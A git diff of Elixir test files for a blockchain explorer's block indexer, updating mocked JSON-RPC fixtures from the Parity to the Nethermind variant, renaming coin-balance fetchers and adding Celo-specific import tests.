Sequence.push_back(pid, 1..0) == :ok - - assert Sequence.pop_front(pid) == 1..1 - assert Sequence.pop_front(pid) == 0..0 - assert Sequence.pop_front(pid) == :halt - assert Sequence.pop_front(pid) == :halt - end - - test "with finite mode with range in wrong direction returns error" do - {:ok, ascending} = Sequence.start_link(first: 0, step: 1) - - assert Sequence.push_back(ascending, 1..0) == - {:error, "Range (1..0//-1) direction is opposite step (1) direction"} - - {:ok, descending} = Sequence.start_link(ranges: [1..0], step: -1) - - assert Sequence.push_back(descending, 0..1) == {:error, "Range (0..1) direction is opposite step (-1) direction"} - end - - test "with infinite mode range is chunked and is returned prior to calculated ranges" do - {:ok, pid} = Sequence.start_link(first: 5, step: 1) - - assert :ok = Sequence.push_back(pid, 3..4) - - assert Sequence.pop_front(pid) == 3..3 - assert Sequence.pop_front(pid) == 4..4 - # infinite sequence takes over - assert Sequence.pop_front(pid) == 5..5 - assert Sequence.pop_front(pid) == 6..6 - end - - test "with size == maximum_size, returns error" do - {:ok, pid} = Sequence.start_link(ranges: [1..0], step: -1) - - :ok = Shrinkable.shrink(pid) - - # error if currently size == maximumm_size - assert {:error, :maximum_size} = Sequence.push_back(pid, 2..2) - - assert Sequence.pop_front(pid) == 1..1 - - # error if range would make sequence exceed maximum size - assert {:error, :maximum_size} = Sequence.push_back(pid, 3..2) - - # no error if range makes it under maximum size - assert :ok = Sequence.push_back(pid, 2..2) - - assert Sequence.pop_front(pid) == 2..2 - assert Sequence.pop_front(pid) == :halt - end - end - - describe "push_front/2" do - test "with finite mode range is chunked" do - {:ok, pid} = Sequence.start_link(ranges: [1..0], step: -1) - - assert Sequence.pop_front(pid) == 1..1 - assert Sequence.pop_front(pid) == 0..0 - - assert Sequence.push_front(pid, 1..0) == :ok - - assert Sequence.pop_front(pid) == 0..0 - assert Sequence.pop_front(pid) == 1..1 - assert Sequence.pop_front(pid) == :halt - assert Sequence.pop_front(pid) == :halt - end - - test "with finite mode with range in wrong direction returns error" do - {:ok, ascending} = Sequence.start_link(first: 0, step: 1) - - assert Sequence.push_front(ascending, 1..0) == - {:error, "Range (1..0//-1) direction is opposite step (1) direction"} - - {:ok, descending} = Sequence.start_link(ranges: [1..0], step: -1) - - assert Sequence.push_front(descending, 0..1) == {:error, "Range (0..1) direction is opposite step (-1) direction"} - end - - test "with infinite mode range is chunked and is returned prior to calculated ranges" do - {:ok, pid} = Sequence.start_link(first: 5, step: 1) - - assert :ok = Sequence.push_front(pid, 3..4) - - assert Sequence.pop_front(pid) == 4..4 - assert Sequence.pop_front(pid) == 3..3 - # infinite sequence takes over - assert Sequence.pop_front(pid) == 5..5 - assert Sequence.pop_front(pid) == 6..6 - end - - test "with size == maximum_size, returns error" do - {:ok, pid} = Sequence.start_link(ranges: [1..0], step: -1) - - :ok = Shrinkable.shrink(pid) - - # error if currently size == maximumm_size - assert {:error, :maximum_size} = Sequence.push_front(pid, 2..2) - - assert Sequence.pop_front(pid) == 1..1 - - # error if range would make sequence exceed maximum size - assert {:error, :maximum_size} = Sequence.push_front(pid, 3..2) - - # no error if range makes it under maximum size - assert :ok = Sequence.push_front(pid, 2..2) - - assert Sequence.pop_front(pid) == 2..2 - assert Sequence.pop_front(pid) == :halt - end - end - - describe "cap/1" do - test "returns previous mode" do - {:ok, pid} = Sequence.start_link(first: 5, step: 1) - - assert Sequence.cap(pid) == :infinite - assert Sequence.cap(pid) == :finite - end - - test "disables infinite mode that uses first and step" do - {:ok, late_capped} = Sequence.start_link(first: 5, step: 1) - - assert Sequence.pop_front(late_capped) == 5..5 - assert Sequence.pop_front(late_capped) == 6..6 - assert Sequence.push_back(late_capped, 5..5) == :ok - assert Sequence.cap(late_capped) == :infinite - assert Sequence.pop_front(late_capped) == 5..5 - assert Sequence.pop_front(late_capped) == :halt - - {:ok, immediately_capped} = Sequence.start_link(first: 5, step: 1) - - assert Sequence.cap(immediately_capped) == :infinite - assert Sequence.pop_front(immediately_capped) == :halt - end - end - - describe "pop" do - test "with a non-empty queue in finite mode" do - {:ok, pid} = Sequence.start_link(ranges: [1..4, 6..9], step: 5) - - assert Sequence.pop_front(pid) == 1..4 - assert Sequence.pop_front(pid) == 6..9 - assert Sequence.pop_front(pid) == :halt - assert Sequence.pop_front(pid) == :halt - end - - test "with an empty queue in infinite mode returns range from next step from current" do - {:ok, pid} = Sequence.start_link(first: 5, step: 5) - - assert 5..9 == Sequence.pop_front(pid) - end - - test "with an empty queue in finite mode halts immediately" do - {:ok, pid} = Sequence.start_link(first: 5, step: 5) - :infinite = Sequence.cap(pid) - - assert Sequence.pop_front(pid) == :halt - end - end -end diff --git a/apps/indexer/test/indexer/block/fetcher/receipts_test.exs b/apps/indexer/test/indexer/block/fetcher/receipts_test.exs index 95570db4a232..a7c45106551e 100644 --- a/apps/indexer/test/indexer/block/fetcher/receipts_test.exs +++ b/apps/indexer/test/indexer/block/fetcher/receipts_test.exs @@ -22,7 +22,7 @@ defmodule Indexer.Block.Fetcher.ReceiptsTest do } end - @tag :no_parity + @tag :no_nethermind @tag :no_geth test "fetches logs setting their blocks if they're null", %{ block_fetcher: %Fetcher{json_rpc_named_arguments: json_rpc_named_arguments} = block_fetcher @@ -51,8 +51,7 @@ defmodule Indexer.Block.Fetcher.ReceiptsTest do "topics" => ["0x600bcf04a13e752d1e3670a5a9f1c21177ca2a93c6f5391d4f1298d098097c22"], "transactionHash" => "0x43bd884872de3e488692881baeec262e7b95234d3965248c39fe992fffd433e5", "transactionIndex" => "0x0", - "transactionLogIndex" => "0x0", - "type" => "mined" + "transactionLogIndex" => "0x0" } ], "logsBloom" => @@ -82,8 +81,7 @@ defmodule Indexer.Block.Fetcher.ReceiptsTest do "topics" => ["0x600bcf04a13e752d1e3670a5a9f1c21177ca2a93c6f5391d4f1298d098097c22"], "transactionHash" => "0x53bd884872de3e488692881baeec262e7b95234d3965248c39fe992fffd433e5", "transactionIndex" => "0x0", - "transactionLogIndex" => "0x0", - "type" => "mined" + "transactionLogIndex" => "0x0" } ], "logsBloom" => diff --git a/apps/indexer/test/indexer/block/fetcher_test.exs b/apps/indexer/test/indexer/block/fetcher_test.exs index 82b11efe32d6..65a1592aa7d5 100644 --- a/apps/indexer/test/indexer/block/fetcher_test.exs +++ b/apps/indexer/test/indexer/block/fetcher_test.exs @@ -10,9 +10,10 @@ defmodule Indexer.Block.FetcherTest do alias Explorer.Chain.{Address, Log, Transaction, Wei} alias Indexer.Block.Fetcher alias Indexer.BufferedTask + alias Indexer.Fetcher.CoinBalance.Catchup, as: CoinBalanceCatchup + alias Indexer.Fetcher.OnDemand.ContractCreator, as: ContractCreatorOnDemand alias Indexer.Fetcher.{ - CoinBalance, ContractCode, InternalTransaction, ReplacedTransaction, @@ -49,17 +50,33 @@ defmodule Indexer.Block.FetcherTest do describe "import_range/2" do setup %{json_rpc_named_arguments: json_rpc_named_arguments} do - CoinBalance.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) + CoinBalanceCatchup.Supervisor.Case.start_supervised!( + json_rpc_named_arguments: json_rpc_named_arguments, + poll: false + ) + + configuration = Application.get_env(:indexer, Indexer.Fetcher.InternalTransaction.Supervisor) + Application.put_env(:indexer, Indexer.Fetcher.InternalTransaction.Supervisor, disabled?: false) + + on_exit(fn -> + Application.put_env(:indexer, Indexer.Fetcher.InternalTransaction.Supervisor, configuration) + end) + ContractCode.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) InternalTransaction.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) Token.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) TokenBalance.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) ReplacedTransaction.Supervisor.Case.start_supervised!() + {:ok, _pid} = ContractCreatorOnDemand.start_link([[], []]) UncleBlock.Supervisor.Case.start_supervised!( block_fetcher: %Fetcher{json_rpc_named_arguments: json_rpc_named_arguments} ) + Application.put_env(:indexer, Indexer.Fetcher.Celo.EpochBlockOperations.Supervisor, disabled?: true) + + maybe_set_celo_core_contracts_env() + %{ block_fetcher: %Fetcher{ broadcast: false, @@ -82,7 +99,7 @@ defmodule Indexer.Block.FetcherTest do # res = eth_block_number_fake_response(block_quantity) # case Keyword.fetch!(json_rpc_named_arguments, :variant) do - # EthereumJSONRPC.Parity -> + # EthereumJSONRPC.Nethermind -> # EthereumJSONRPC.Mox # |> expect(:json_rpc, fn [%{id: id, method: "eth_getBlockByNumber", params: [^block_quantity, true]}], # _options -> @@ -219,7 +236,7 @@ defmodule Indexer.Block.FetcherTest do # } # } - # EthereumJSONRPC.Parity -> + # EthereumJSONRPC.Nethermind -> # %{ # address_hash: %Explorer.Chain.Hash{ # byte_count: 20, @@ -271,14 +288,45 @@ defmodule Indexer.Block.FetcherTest do } do block_number = @first_full_block_number + if Application.get_env(:explorer, :chain_type) == :filecoin do + Indexer.Fetcher.Filecoin.AddressInfo.Supervisor.Case.start_supervised!( + json_rpc_named_arguments: json_rpc_named_arguments + ) + end + if json_rpc_named_arguments[:transport] == EthereumJSONRPC.Mox do case Keyword.fetch!(json_rpc_named_arguments, :variant) do - EthereumJSONRPC.Parity -> + EthereumJSONRPC.Nethermind -> block_quantity = integer_to_quantity(block_number) from_address_hash = "0xe8ddc5c7a2d2f0d7a9798459c0104fdf5e987aca" to_address_hash = "0x8bf38d4764929064f2d4d3a56520a76ab3df415b" transaction_hash = "0x53bd884872de3e488692881baeec262e7b95234d3965248c39fe992fffd433e5" + transaction = %{ + "blockHash" => "0xf6b4b8c88df3ebd252ec476328334dc026cf66606a84fb769b3d3cbccc8471bd", + "blockNumber" => "0x25", + "chainId" => "0x4d", + "condition" => nil, + "creates" => nil, + "from" => from_address_hash, + "gas" => "0x47b760", + "gasPrice" => "0x174876e800", + "hash" => transaction_hash, + "input" => "0x10855269000000000000000000000000862d67cb0773ee3f8ce7ea89b328ffea861ab3ef", + "nonce" => "0x4", + "publicKey" => + "0xe5d196ad4ceada719d9e592f7166d0c75700f6eab2e3c3de34ba751ea786527cb3f6eb96ad9fdfdb9989ff572df50f1c42ef800af9c5207a38b929aff969b5c9", + "r" => "0xa7f8f45cce375bb7af8750416e1b03e0473f93c256da2285d1134fc97a700e01", + "raw" => + "0xf88a0485174876e8008347b760948bf38d4764929064f2d4d3a56520a76ab3df415b80a410855269000000000000000000000000862d67cb0773ee3f8ce7ea89b328ffea861ab3ef81bea0a7f8f45cce375bb7af8750416e1b03e0473f93c256da2285d1134fc97a700e01a01f87a076f13824f4be8963e3dffd7300dae64d5f23c9a062af0c6ead347c135f", + "s" => "0x1f87a076f13824f4be8963e3dffd7300dae64d5f23c9a062af0c6ead347c135f", + "standardV" => "0x1", + "to" => to_address_hash, + "transactionIndex" => "0x0", + "v" => "0xbe", + "value" => "0x0" + } + EthereumJSONRPC.Mox |> expect(:json_rpc, fn json, _options -> assert [%{id: id, method: "eth_getBlockByNumber", params: [^block_quantity, true]}] = json @@ -313,32 +361,7 @@ defmodule Indexer.Block.FetcherTest do "step" => "302674398", "timestamp" => "0x5a343956", "totalDifficulty" => "0x24ffffffffffffffffffffffffedf78dfd", - "transactions" => [ - %{ - "blockHash" => "0xf6b4b8c88df3ebd252ec476328334dc026cf66606a84fb769b3d3cbccc8471bd", - "blockNumber" => "0x25", - "chainId" => "0x4d", - "condition" => nil, - "creates" => nil, - "from" => from_address_hash, - "gas" => "0x47b760", - "gasPrice" => "0x174876e800", - "hash" => transaction_hash, - "input" => "0x10855269000000000000000000000000862d67cb0773ee3f8ce7ea89b328ffea861ab3ef", - "nonce" => "0x4", - "publicKey" => - "0xe5d196ad4ceada719d9e592f7166d0c75700f6eab2e3c3de34ba751ea786527cb3f6eb96ad9fdfdb9989ff572df50f1c42ef800af9c5207a38b929aff969b5c9", - "r" => "0xa7f8f45cce375bb7af8750416e1b03e0473f93c256da2285d1134fc97a700e01", - "raw" => - "0xf88a0485174876e8008347b760948bf38d4764929064f2d4d3a56520a76ab3df415b80a410855269000000000000000000000000862d67cb0773ee3f8ce7ea89b328ffea861ab3ef81bea0a7f8f45cce375bb7af8750416e1b03e0473f93c256da2285d1134fc97a700e01a01f87a076f13824f4be8963e3dffd7300dae64d5f23c9a062af0c6ead347c135f", - "s" => "0x1f87a076f13824f4be8963e3dffd7300dae64d5f23c9a062af0c6ead347c135f", - "standardV" => "0x1", - "to" => to_address_hash, - "transactionIndex" => "0x0", - "v" => "0xbe", - "value" => "0x0" - } - ], + "transactions" => [transaction], "transactionsRoot" => "0x68e314a05495f390f9cd0c36267159522e5450d2adf254a74567b452e767bf34", "uncles" => [] } @@ -375,8 +398,7 @@ defmodule Indexer.Block.FetcherTest do "topics" => ["0x600bcf04a13e752d1e3670a5a9f1c21177ca2a93c6f5391d4f1298d098097c22"], "transactionHash" => "0x53bd884872de3e488692881baeec262e7b95234d3965248c39fe992fffd433e5", "transactionIndex" => "0x0", - "transactionLogIndex" => "0x0", - "type" => "mined" + "transactionLogIndex" => "0x0" } ], "logsBloom" => @@ -434,32 +456,7 @@ defmodule Indexer.Block.FetcherTest do "step" => "302674398", "timestamp" => "0x5a343956", "totalDifficulty" => "0x24ffffffffffffffffffffffffedf78dfd", - "transactions" => [ - %{ - "blockHash" => "0xf6b4b8c88df3ebd252ec476328334dc026cf66606a84fb769b3d3cbccc8471bd", - "blockNumber" => "0x25", - "chainId" => "0x4d", - "condition" => nil, - "creates" => nil, - "from" => from_address_hash, - "gas" => "0x47b760", - "gasPrice" => "0x174876e800", - "hash" => transaction_hash, - "input" => "0x10855269000000000000000000000000862d67cb0773ee3f8ce7ea89b328ffea861ab3ef", - "nonce" => "0x4", - "publicKey" => - "0xe5d196ad4ceada719d9e592f7166d0c75700f6eab2e3c3de34ba751ea786527cb3f6eb96ad9fdfdb9989ff572df50f1c42ef800af9c5207a38b929aff969b5c9", - "r" => "0xa7f8f45cce375bb7af8750416e1b03e0473f93c256da2285d1134fc97a700e01", - "raw" => - "0xf88a0485174876e8008347b760948bf38d4764929064f2d4d3a56520a76ab3df415b80a410855269000000000000000000000000862d67cb0773ee3f8ce7ea89b328ffea861ab3ef81bea0a7f8f45cce375bb7af8750416e1b03e0473f93c256da2285d1134fc97a700e01a01f87a076f13824f4be8963e3dffd7300dae64d5f23c9a062af0c6ead347c135f", - "s" => "0x1f87a076f13824f4be8963e3dffd7300dae64d5f23c9a062af0c6ead347c135f", - "standardV" => "0x1", - "to" => to_address_hash, - "transactionIndex" => "0x0", - "v" => "0xbe", - "value" => "0x0" - } - ], + "transactions" => [transaction], "transactionsRoot" => "0x68e314a05495f390f9cd0c36267159522e5450d2adf254a74567b452e767bf34", "uncles" => [] } @@ -513,6 +510,11 @@ defmodule Indexer.Block.FetcherTest do end end + config = Application.get_env(:ethereum_jsonrpc, EthereumJSONRPC.Geth) + Application.put_env(:ethereum_jsonrpc, EthereumJSONRPC.Geth, Keyword.put(config, :block_traceable?, true)) + + on_exit(fn -> Application.put_env(:ethereum_jsonrpc, EthereumJSONRPC.Geth, config) end) + case Keyword.fetch!(json_rpc_named_arguments, :variant) do EthereumJSONRPC.Geth -> block_number = 48230 @@ -582,7 +584,7 @@ defmodule Indexer.Block.FetcherTest do }} = Fetcher.fetch_and_import_range(block_fetcher, block_number..block_number) wait_for_tasks(InternalTransaction) - wait_for_tasks(CoinBalance) + wait_for_tasks(CoinBalanceCatchup) assert Repo.aggregate(Block, :count, :hash) == 1 assert Repo.aggregate(Address, :count, :hash) == 5 @@ -614,7 +616,7 @@ defmodule Indexer.Block.FetcherTest do assert fifth_address.fetched_coin_balance == %Wei{value: Decimal.new(930_417_572_224_879_702_000)} assert fifth_address.fetched_coin_balance_block_number == block_number - EthereumJSONRPC.Parity -> + EthereumJSONRPC.Nethermind -> assert {:ok, %{ inserted: %{ @@ -676,11 +678,11 @@ defmodule Indexer.Block.FetcherTest do }} = Fetcher.fetch_and_import_range(block_fetcher, block_number..block_number) wait_for_tasks(InternalTransaction) - wait_for_tasks(CoinBalance) + wait_for_tasks(CoinBalanceCatchup) assert Repo.aggregate(Chain.Block, :count, :hash) == 1 assert Repo.aggregate(Address, :count, :hash) == 2 - assert Chain.log_count() == 1 + assert Repo.aggregate(Log, :count) == 1 assert Repo.aggregate(Transaction, :count, :hash) == 1 first_address = Repo.get!(Address, first_address_hash) @@ -704,90 +706,95 @@ defmodule Indexer.Block.FetcherTest do } do block_number = 7_374_455 + Indexer.Fetcher.Filecoin.AddressInfo.Supervisor.Case.start_supervised!( + json_rpc_named_arguments: json_rpc_named_arguments + ) + if json_rpc_named_arguments[:transport] == EthereumJSONRPC.Mox do EthereumJSONRPC.Mox - |> expect(:json_rpc, 2, fn requests, _options -> - {:ok, - Enum.map(requests, fn - %{id: id, method: "eth_getBlockByNumber", params: ["0x708677", true]} -> - %{ - id: id, - result: %{ - "author" => "0x5a0b54d5dc17e0aadc383d2db43b0a0d3e029c4c", - "difficulty" => "0x6bc767dd80781", - "extraData" => "0x5050594520737061726b706f6f6c2d6574682d7477", - "gasLimit" => "0x7a121d", - "gasUsed" => "0x79cbe9", - "hash" => "0x1b6fb99af0b51af6685a191b2f7bcba684f8565629bf084c70b2530479407455", - "logsBloom" => - "0x044d42d008801488400e1809190200a80d06105bc0c4100b047895c0d518327048496108388040140010b8208006288102e206160e21052322440924002090c1c808a0817405ab238086d028211014058e949401012403210314896702d06880c815c3060a0f0809987c81044488292cc11d57882c912a808ca10471c84460460040000c0001012804022000a42106591881d34407420ba401e1c08a8d00a000a34c11821a80222818a4102152c8a0c044032080c6462644223104d618e0e544072008120104408205c60510542264808488220403000106281a0290404220112c10b080145028c8000300b18a2c8280701c882e702210b00410834840108084", - "miner" => "0x5a0b54d5dc17e0aadc383d2db43b0a0d3e029c4c", - "mixHash" => "0xda53ae7c2b3c529783d6cdacdb90587fd70eb651c0f04253e8ff17de97844010", - "nonce" => "0x0946e5f01fce12bc", - "number" => "0x708677", - "parentHash" => "0x62543e836e0ef7edfa9e38f26526092c4be97efdf5ba9e0f53a4b0b7d5bc930a", - "receiptsRoot" => "0xa7d2b82bd8526de11736c18bd5cc8cfe2692106c4364526f3310ad56d78669c4", - "sealFields" => [ - "0xa0da53ae7c2b3c529783d6cdacdb90587fd70eb651c0f04253e8ff17de97844010", - "0x880946e5f01fce12bc" - ], - "sha3Uncles" => "0x483a8a21a5825ad270f358b3ea56e060bbb8b3082d9a92ec8fa17a5c7e6fc1b6", - "size" => "0x544c", - "stateRoot" => "0x85daa9cd528004c1609d4cb3520fd958e85983bb4183124a4a9f7137fd39c691", - "timestamp" => "0x5c8bc76e", - "totalDifficulty" => "0x201a42c35142ae94458", - "transactions" => [], - "transactionsRoot" => "0xcd6c12fa43cd4e92ad5c0bf232b30488bbcbfe273c5b4af0366fced0767d54db", - "uncles" => [] + |> expect(:json_rpc, 2, fn + requests, _options -> + {:ok, + Enum.map(requests, fn + %{id: id, method: "eth_getBlockByNumber", params: ["0x708677", true]} -> + %{ + id: id, + result: %{ + "author" => "0x5a0b54d5dc17e0aadc383d2db43b0a0d3e029c4c", + "difficulty" => "0x6bc767dd80781", + "extraData" => "0x5050594520737061726b706f6f6c2d6574682d7477", + "gasLimit" => "0x7a121d", + "gasUsed" => "0x79cbe9", + "hash" => "0x1b6fb99af0b51af6685a191b2f7bcba684f8565629bf084c70b2530479407455", + "logsBloom" => + "0x044d42d008801488400e1809190200a80d06105bc0c4100b047895c0d518327048496108388040140010b8208006288102e206160e21052322440924002090c1c808a0817405ab238086d028211014058e949401012403210314896702d06880c815c3060a0f0809987c81044488292cc11d57882c912a808ca10471c84460460040000c0001012804022000a42106591881d34407420ba401e1c08a8d00a000a34c11821a80222818a4102152c8a0c044032080c6462644223104d618e0e544072008120104408205c60510542264808488220403000106281a0290404220112c10b080145028c8000300b18a2c8280701c882e702210b00410834840108084", + "miner" => "0x5a0b54d5dc17e0aadc383d2db43b0a0d3e029c4c", + "mixHash" => "0xda53ae7c2b3c529783d6cdacdb90587fd70eb651c0f04253e8ff17de97844010", + "nonce" => "0x0946e5f01fce12bc", + "number" => "0x708677", + "parentHash" => "0x62543e836e0ef7edfa9e38f26526092c4be97efdf5ba9e0f53a4b0b7d5bc930a", + "receiptsRoot" => "0xa7d2b82bd8526de11736c18bd5cc8cfe2692106c4364526f3310ad56d78669c4", + "sealFields" => [ + "0xa0da53ae7c2b3c529783d6cdacdb90587fd70eb651c0f04253e8ff17de97844010", + "0x880946e5f01fce12bc" + ], + "sha3Uncles" => "0x483a8a21a5825ad270f358b3ea56e060bbb8b3082d9a92ec8fa17a5c7e6fc1b6", + "size" => "0x544c", + "stateRoot" => "0x85daa9cd528004c1609d4cb3520fd958e85983bb4183124a4a9f7137fd39c691", + "timestamp" => "0x5c8bc76e", + "totalDifficulty" => "0x201a42c35142ae94458", + "transactions" => [], + "transactionsRoot" => "0xcd6c12fa43cd4e92ad5c0bf232b30488bbcbfe273c5b4af0366fced0767d54db", + "uncles" => [] + } } - } - %{id: id, method: "trace_block"} -> - block_quantity = integer_to_quantity(block_number) - _res = eth_block_number_fake_response(block_quantity) + %{id: id, method: "trace_block"} -> + block_quantity = integer_to_quantity(block_number) + _res = eth_block_number_fake_response(block_quantity) - %{ - id: id, - result: [ - %{ - "action" => %{ - "author" => "0x5a0b54d5dc17e0aadc383d2db43b0a0d3e029c4c", - "rewardType" => "block", - "value" => "0x1d7d843dc3b48000" - }, - "blockHash" => "0x1b6fb99af0b51af6685a191b2f7bcba684f8565629bf084c70b2530479407455", - "blockNumber" => block_number, - "subtraces" => 0, - "traceAddress" => [], - "type" => "reward" - }, - %{ - "action" => %{ - "author" => "0xea674fdde714fd979de3edf0f56aa9716b898ec8", - "rewardType" => "uncle", - "value" => "0x14d1120d7b160000" + %{ + id: id, + result: [ + %{ + "action" => %{ + "author" => "0x5a0b54d5dc17e0aadc383d2db43b0a0d3e029c4c", + "rewardType" => "block", + "value" => "0x1d7d843dc3b48000" + }, + "blockHash" => "0x1b6fb99af0b51af6685a191b2f7bcba684f8565629bf084c70b2530479407455", + "blockNumber" => block_number, + "subtraces" => 0, + "traceAddress" => [], + "type" => "reward" }, - "blockHash" => "0x1b6fb99af0b51af6685a191b2f7bcba684f8565629bf084c70b2530479407455", - "blockNumber" => block_number, - "subtraces" => 0, - "traceAddress" => [], - "type" => "reward" - }, - %{ - "action" => %{ - "author" => "0xea674fdde714fd979de3edf0f56aa9716b898ec8", - "rewardType" => "uncle", - "value" => "0x18493fba64ef0000" + %{ + "action" => %{ + "author" => "0xea674fdde714fd979de3edf0f56aa9716b898ec8", + "rewardType" => "uncle", + "value" => "0x14d1120d7b160000" + }, + "blockHash" => "0x1b6fb99af0b51af6685a191b2f7bcba684f8565629bf084c70b2530479407455", + "blockNumber" => block_number, + "subtraces" => 0, + "traceAddress" => [], + "type" => "reward" }, - "blockHash" => "0x1b6fb99af0b51af6685a191b2f7bcba684f8565629bf084c70b2530479407455", - "blockNumber" => block_number, - "subtraces" => 0, - "traceAddress" => [], - "type" => "reward" - } - ] - } - end)} + %{ + "action" => %{ + "author" => "0xea674fdde714fd979de3edf0f56aa9716b898ec8", + "rewardType" => "uncle", + "value" => "0x18493fba64ef0000" + }, + "blockHash" => "0x1b6fb99af0b51af6685a191b2f7bcba684f8565629bf084c70b2530479407455", + "blockNumber" => block_number, + "subtraces" => 0, + "traceAddress" => [], + "type" => "reward" + } + ] + } + end)} end) end @@ -798,6 +805,394 @@ defmodule Indexer.Block.FetcherTest do end end + if Application.compile_env(:explorer, :chain_type) == :celo do + describe "import_range/2 celo" do + setup %{json_rpc_named_arguments: json_rpc_named_arguments} do + CoinBalanceCatchup.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) + ContractCode.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) + InternalTransaction.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) + Token.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) + TokenBalance.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) + ReplacedTransaction.Supervisor.Case.start_supervised!() + {:ok, _pid} = ContractCreatorOnDemand.start_link([[], []]) + + UncleBlock.Supervisor.Case.start_supervised!( + block_fetcher: %Fetcher{json_rpc_named_arguments: json_rpc_named_arguments} + ) + + Application.put_env(:indexer, Indexer.Fetcher.Celo.EpochBlockOperations.Supervisor, disabled?: true) + + maybe_set_celo_core_contracts_env() + + %{ + block_fetcher: %Fetcher{ + broadcast: false, + callback_module: Indexer.Block.Catchup.Fetcher, + json_rpc_named_arguments: json_rpc_named_arguments + } + } + end + + test "can import range with all synchronous imported schemas", %{ + block_fetcher: %Fetcher{json_rpc_named_arguments: json_rpc_named_arguments} = block_fetcher + } do + block_number = @first_full_block_number + + if json_rpc_named_arguments[:transport] == EthereumJSONRPC.Mox do + case Keyword.fetch!(json_rpc_named_arguments, :variant) do + EthereumJSONRPC.Nethermind -> + block_quantity = integer_to_quantity(block_number) + from_address_hash = "0xe8ddc5c7a2d2f0d7a9798459c0104fdf5e987aca" + to_address_hash = "0x8bf38d4764929064f2d4d3a56520a76ab3df415b" + transaction_hash = "0x53bd884872de3e488692881baeec262e7b95234d3965248c39fe992fffd433e5" + gas_token_contract_address_hash = "0x471ece3750da237f93b8e339c536989b8978a438" + + transaction = %{ + "blockHash" => "0xf6b4b8c88df3ebd252ec476328334dc026cf66606a84fb769b3d3cbccc8471bd", + "blockNumber" => "0x25", + "chainId" => "0x4d", + "condition" => nil, + "creates" => nil, + "from" => from_address_hash, + "gas" => "0x47b760", + "gasPrice" => "0x174876e800", + "hash" => transaction_hash, + "input" => "0x10855269000000000000000000000000862d67cb0773ee3f8ce7ea89b328ffea861ab3ef", + "nonce" => "0x4", + "publicKey" => + "0xe5d196ad4ceada719d9e592f7166d0c75700f6eab2e3c3de34ba751ea786527cb3f6eb96ad9fdfdb9989ff572df50f1c42ef800af9c5207a38b929aff969b5c9", + "r" => "0xa7f8f45cce375bb7af8750416e1b03e0473f93c256da2285d1134fc97a700e01", + "raw" => + "0xf88a0485174876e8008347b760948bf38d4764929064f2d4d3a56520a76ab3df415b80a410855269000000000000000000000000862d67cb0773ee3f8ce7ea89b328ffea861ab3ef81bea0a7f8f45cce375bb7af8750416e1b03e0473f93c256da2285d1134fc97a700e01a01f87a076f13824f4be8963e3dffd7300dae64d5f23c9a062af0c6ead347c135f", + "s" => "0x1f87a076f13824f4be8963e3dffd7300dae64d5f23c9a062af0c6ead347c135f", + "standardV" => "0x1", + "to" => to_address_hash, + "transactionIndex" => "0x0", + "v" => "0xbe", + "value" => "0x0", + # Celo-specific fields + "feeCurrency" => gas_token_contract_address_hash, + "gatewayFeeRecipient" => nil, + "gatewayFee" => "0x0", + "ethCompatible" => false + } + + EthereumJSONRPC.Mox + |> expect(:json_rpc, fn json, _options -> + assert [%{id: id, method: "eth_getBlockByNumber", params: [^block_quantity, true]}] = json + + {:ok, + [ + %{ + id: id, + jsonrpc: "2.0", + result: %{ + "author" => "0xe8ddc5c7a2d2f0d7a9798459c0104fdf5e987aca", + "difficulty" => "0xfffffffffffffffffffffffffffffffe", + "extraData" => "0xd5830108048650617269747986312e32322e31826c69", + "gasLimit" => "0x69fe20", + "gasUsed" => "0xc512", + "hash" => "0xf6b4b8c88df3ebd252ec476328334dc026cf66606a84fb769b3d3cbccc8471bd", + "logsBloom" => + "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000200000000000000000000020000000000000000200000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "miner" => "0xe8ddc5c7a2d2f0d7a9798459c0104fdf5e987aca", + "number" => "0x25", + "parentHash" => "0xc37bbad7057945d1bf128c1ff009fb1ad632110bf6a000aac025a80f7766b66e", + "receiptsRoot" => "0xd300311aab7dcc98c05ac3f1893629b2c9082c189a0a0c76f4f63e292ac419d5", + "sealFields" => [ + "0x84120a71de", + "0xb841fcdb570511ec61edda93849bb7c6b3232af60feb2ea74e4035f0143ab66dfdd00f67eb3eda1adddbb6b572db1e0abd39ce00f9b3ccacb9f47973279ff306fe5401" + ], + "sha3Uncles" => "0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347", + "signature" => + "fcdb570511ec61edda93849bb7c6b3232af60feb2ea74e4035f0143ab66dfdd00f67eb3eda1adddbb6b572db1e0abd39ce00f9b3ccacb9f47973279ff306fe5401", + "size" => "0x2cf", + "stateRoot" => "0x2cd84079b0d0c267ed387e3895fd1c1dc21ff82717beb1132adac64276886e19", + "step" => "302674398", + "timestamp" => "0x5a343956", + "totalDifficulty" => "0x24ffffffffffffffffffffffffedf78dfd", + "transactions" => [transaction], + "transactionsRoot" => "0x68e314a05495f390f9cd0c36267159522e5450d2adf254a74567b452e767bf34", + "uncles" => [] + } + } + ]} + end) + |> expect(:json_rpc, fn json, _options -> + assert [ + %{ + id: id, + method: "eth_getTransactionReceipt", + params: ["0x53bd884872de3e488692881baeec262e7b95234d3965248c39fe992fffd433e5"] + } + ] = json + + {:ok, + [ + %{ + id: id, + jsonrpc: "2.0", + result: %{ + "blockHash" => "0xf6b4b8c88df3ebd252ec476328334dc026cf66606a84fb769b3d3cbccc8471bd", + "blockNumber" => "0x25", + "contractAddress" => nil, + "cumulativeGasUsed" => "0xc512", + "gasUsed" => "0xc512", + "logs" => [ + %{ + "address" => 